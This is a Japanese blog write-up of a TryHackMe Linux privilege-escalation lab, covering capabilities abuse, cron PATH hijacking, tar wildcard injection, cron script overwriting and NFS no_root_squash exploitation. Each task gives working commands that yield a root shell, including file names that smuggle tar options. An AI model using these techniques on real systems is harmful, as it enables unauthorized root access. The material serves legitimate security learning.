こんにちは、ぎんたです。
今回はTryHackMeで提供されている「Linux PrivEsc Arena」というルームの攻略の過程を記事にしています。
ルームはこちらからアクセスできます「Linux PrivEsc ArenaのURL」。
今回の記事は「脆弱性を持つLinuxの権限昇格手法を学ぶ【TryHackMe-Linux PrivEsc Arena -Writeup2/3】」の続編となっています。
前回はTask14まで解説しました。
今回ご紹介するTaskは以下のものです。
- Task15 Capabilities
- Task16 Cron (Path)
- Task17 Cron (Wildcards)
- Task18 Cron (File Overwrite)
- Task19 NFS Root Squashing
- Linuxの権限昇格に興味のある方
- CTFに興味のある方
が今回の対象です。
無料でアクセス可能なので、試してみたい方はぜひやってみてください。
スポンサーリンク
前提条件の説明
Linuxの権限昇格がテーマとなっているため、すでにユーザ権限で被害サーバに侵入している状態となっています(ユーザの認証情報が判明している)。
侵入先のサーバを探索して設定の不備や脆弱性などを調査し、それぞれのTaskごとで実際に権限昇格をしていく方法を解説していきます。
Linuxの権限昇格(Task15 Capabilities)
このタスクではプロセスのCapabilitiesを使った権限昇格を行います。
getcapコマンドを使用して、システム内のプロセスのCapabilitiesの調査をします。
TCM@debian:~$ getcap -r / 2>/dev/null
/usr/bin/python2.6 = cap_setuid+ep
pythonはsetuidのCapabilitiesがあることが分かります。
すなわちpythonはファイルにSUIDを付与できます。
このCapabilitiesを使ってpythonを使った権限昇格を行っていきたいと思います。
GTFOBinsを確認していきます。
上記の内容から、setuid(0)とした「/bin/sh」をpythonで実行することでroot権限のシェルを取得できそうです。
実行した結果、root権限のシェルを取得できました。
Linuxの権限昇格(Task16 Cron「Path」)
このタスクではCronの設定内記載のPath変数の値がユーザのホームディレクトリで始まることを利用して、攻撃側が準備したスクリプトを実行させて権限昇格を行います。
Cronはユーザが特定の日時・間隔でプログラムを実行できるようにするジョブです。
Windowsでいうところのタスクスケジューラに似ています。
システム全体のCronは/etc/crontabに記載されています。
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don’t have to run the `crontab’
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts –report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
今回はoverwrite.shに焦点を当てます。
このスクリプトは毎分実行され、rootユーザで実行されることが分かります。
すべてが*になっているプログラムは毎分実行されます。
また、PATH変数を確認すると、「/home/user」で始まっていることが分かります。
このoverwrite.shは相対参照で記載されており、スクリプトが存在する場所が「/home/user」でなければ、こちらが意図したスクリプトをその場所に配置することで権限昇格ができそうです。
overwrite.shのパスをlocateコマンドで確認してみます。
TCM@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb’ is more than 8 days old (actual age is 1068.7 days)
/usr/local/bin/overwrite.sh
PATH変数の値の前から3番目にある場所(「/usr/local/bin/」)にスクリプトがありました。
よって、PATH変数の値の一番先頭にある「/home/user」にoverwrite.shを作成し配置することで、優先してこちらのスクリプトを実行させることができるでしょう。
以下のコマンドを実行し「/home/user」にoverwrite.shを作成します。
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/user/overwrite.sh
これにより、SUIDを付与したシェルを/tmp以下に作成できます。
1分間待つとoverwrite.shがCronにより実行され、/tmp/bashが作成されます。
- Cronがoverwrite.shを実行
- 相対参照なのでPATH変数を確認、「/home/user」以下にoverwrite.shが存在している
- 「/home/user/overwrite.sh」を実行
- 「/tmp/bash」を作成
という順番です。
「/tmp/bash -p」を実行することで、root権限のシェルを取得できました。
TCM@debian:~$ echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/user/overwrite.sh
TCM@debian:~$ chmod +x /home/user/overwrite.sh
TCM@debian:~$ /tmp/bash -p
bash-4.1# id
uid=1000(TCM) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
bash-4.1# whoami
root
bash-4.1#
Linuxの権限昇格(Task17Cron「Wildcards」)
このタスクでは、Cronで実行されるスクリプトがtarコマンドをWildcard(*)を含めて実行していることを利用し、権限昇格を行っていきます。
前のタスクと同様にシステム全体のcrontabの内容を確認します。
今回は「/usr/local/bin/compress.sh」の内容を確認します。
このスクリプトは毎分実行され、rootユーザで実行されることが分かります。
スクリプトの内容を確認します。
TCM@debian:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
userディレクトリの内容のバックアップを実行しているようです。
このときにtarコマンドがWildcard(*)を含めて実行されているのが分かります。
tarには、チェックポイント機能で他のコマンドを実行できるオプションがあります。
そして、Cronによると「/usr/local/bin/compress.sh」もrootで実行されるので、root権限でこちらが指定するコマンドを実行することができそうです。
GTFOBinsを確認していきます。
一番上の欄にあるコマンドを実行することで、チェックポイントに指定したシェルを実行できます。
上記のコマンドを実行する前に「/home/user」にファイルを準備します。
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/user/runme.sh
touch /home/user/–checkpoint=1
touch /home/user/–checkpoint-action=exec=sh\runme.sh
SUIDを付与したシェルを/tmp以下に作成するプログラムを「/home/user/runme.sh」に保存します。
そして、「/home/user/–checkpoint=1」「/home/user/–checkpoint-action=exec=sh\runme.sh」をファイルとして「/home/user」ディレクトリに保存します。
「/home/user」の内容は以下のようになります。
TCM@debian:~$ ls /home/user
–checkpoint=1 –checkpoint-action=exec=sh runme.sh myvpn.ovpn runme.sh tools
tarをワイルドカード(*)を含めて実行することで、–checkpointも含めて実行されます。
–checkpoint-actionはファイル名ではなく、コマンドラインのオプションとして扱われます。
作成したら、1分間待ちますと、「/home/user/runme.sh」が実行され /tmp/bashが作成されます。
- Cronで/usr/local/bin/compress.shをrootで実行
- 「/home/user」ディレクトリで「tar czf /tmp/backup.tar.gz *」を実行
- このとき、「*」を含めているので、同フォルダにある「–checkpoint-action=exec=sh runme.sh」で指定しているrunme.shが実行される
- 「所有者rootのSUIDが付与された/tmp/bash」を作成
という順番です。
「/tmp/bash -p」を実行することで、root権限のシェルを取得できました。
Linuxの権限昇格(Task18 Cron「File Overwrite」)
このタスクではCronで実行されるスクリプトがユーザ権限で上書き可能であることを利用して権限昇格を行っていきます。
システム全体のジョブは/etc/crontabに記載されています。
今回は赤枠で囲ったoverwrite.shに焦点を当てます。
このスクリプトは毎分実行され、rootユーザで実行されることが分かります。
このスクリプトのパスをlocateコマンドで確認し、lsコマンドでパーミッションを確認します。
TCM@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb’ is more than 8 days old (actual age is 1068.7 days)
/usr/local/bin/overwrite.sh
TCM@debian:~$ ls -la /usr//local/bin/overwrite.sh
-rwxr–rw- 1 root staff 40 May 13 2017 /usr//local/bin/overwrite.sh
一般ユーザでも読み書きができることが分かりました。
このことから次のような方法で特権昇格ができそうです。
- overwrite.shの内容を「root権限で動作するシェルを作成するコマンド」に書き換える
- Cronジョブにより1分間待つ
- こちらが上書きしたシェルを実行する
- root権限のシェルを取得
まず、overwrite.shの内容を以下のコマンドで上書きします。
echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’ > /home/user/overwrite.sh
これにより、SUIDを付与したシェルを「/tmp」以下に作成できます。
1分間待つと上書きしたoverwrite.shが実行され、「/tmp/bash」が作成されます。
「/tmp/bash -p」を実行することで、root権限のシェルを取得できました。
Linuxの権限昇格(Task19 NFS Root Squashing)
このタスクはNFSで作成したファイルがリモートユーザのIDを引き継ぐ性質を利用した権限昇格を行います。
まず、NFSの設定の確認のため「cat /etc/exports」を実行します。
「/tmp」共有を確認すると「no_root_squash」となっており、Root Squashinが無効になっています。
Root Squashinが無効な場合、攻撃側のrootユーザがサーバのrootアクセス権を持つことを許可する設定になっていることを示しています。
Root Squashingが有効な場合、IDは「nobody」に設定され、上記の権限がなくなります。
攻撃側の端末からrootユーザを使ってマウントポイントを作成し、「/tmp」共有をマウントします。
root@ip-10-10-64-196:~# mkdir /tmp/1
root@ip-10-10-64-196:~# mount -o rw,vers=2 10.10.234.148:/tmp /tmp/1
続けて、以下のコマンドを実行し、「/tmp/1」フォルダにsetuid(0)としたbashを起動するプログラムを保存します。
root@ip-10-10-64-196:~# echo ‘int main() { setgid(0); setuid(0); system(“/bin/bash”); return 0; }’ > /tmp/1/x.c
プログラムをコンパイルします。
root@ip-10-10-64-196:~# gcc /tmp/1/x.c -o /tmp/1/x
作成した実行ファイルにもSUIDを付与します。
chmod +s /tmp/1/x
今度は被害サーバ側で作業します。
攻撃側端末で作成した「/tmp/x」を被害サーバのユーザで実行するとrootシェルを取得できました。
被害者サーバで「/tmp」の内容を見ると、SUIDが付与されていて所有者がrootになっているね。
「/tmp」がno_root_squashの設定になっていたことで結果的にrootのシェルを取得できたよ。
まとめ
今回の記事は「脆弱性を持つLinuxの権限昇格手法を学ぶ【TryHackMe-Linux PrivEsc Arena -Writeup2/3】」の続編でした。
解説したTaskは5つあり、以下のものでした。
- Task15 Capabilities
- Task16 Cron (Path)
- Task17 Cron (Wildcards)
- Task18 Cron (File Overwrite)
- Task19 NFS Root Squashing
長かったですが、Linux権限昇格をテーマとしたルームについて3回に分けて解説しました。
linux権限昇格にはどのような手法があるのかということをざっと押さえるのにはよい教材かと思い紹介しました。
興味のある・面白いと思った手法が一つでもあれば幸いです。
以上、ぎんたでした。
サイバーセキュリティを学ぶ上で必要な攻撃と解析に関する他の記事は、以下のリンクで確認できます。
学習に関しましては、以下のセキュリティの勉強法、おすすめの学習本・動画の記事が多くの方に読まれています。
資格の記事については以下の記事がおすすめです。
ITエンジニアへの転職については以下の記事がおすすめです。
その他学習・転職関連に関しましては、以下の記事もあわせて読まれています。
ぜひご覧ください!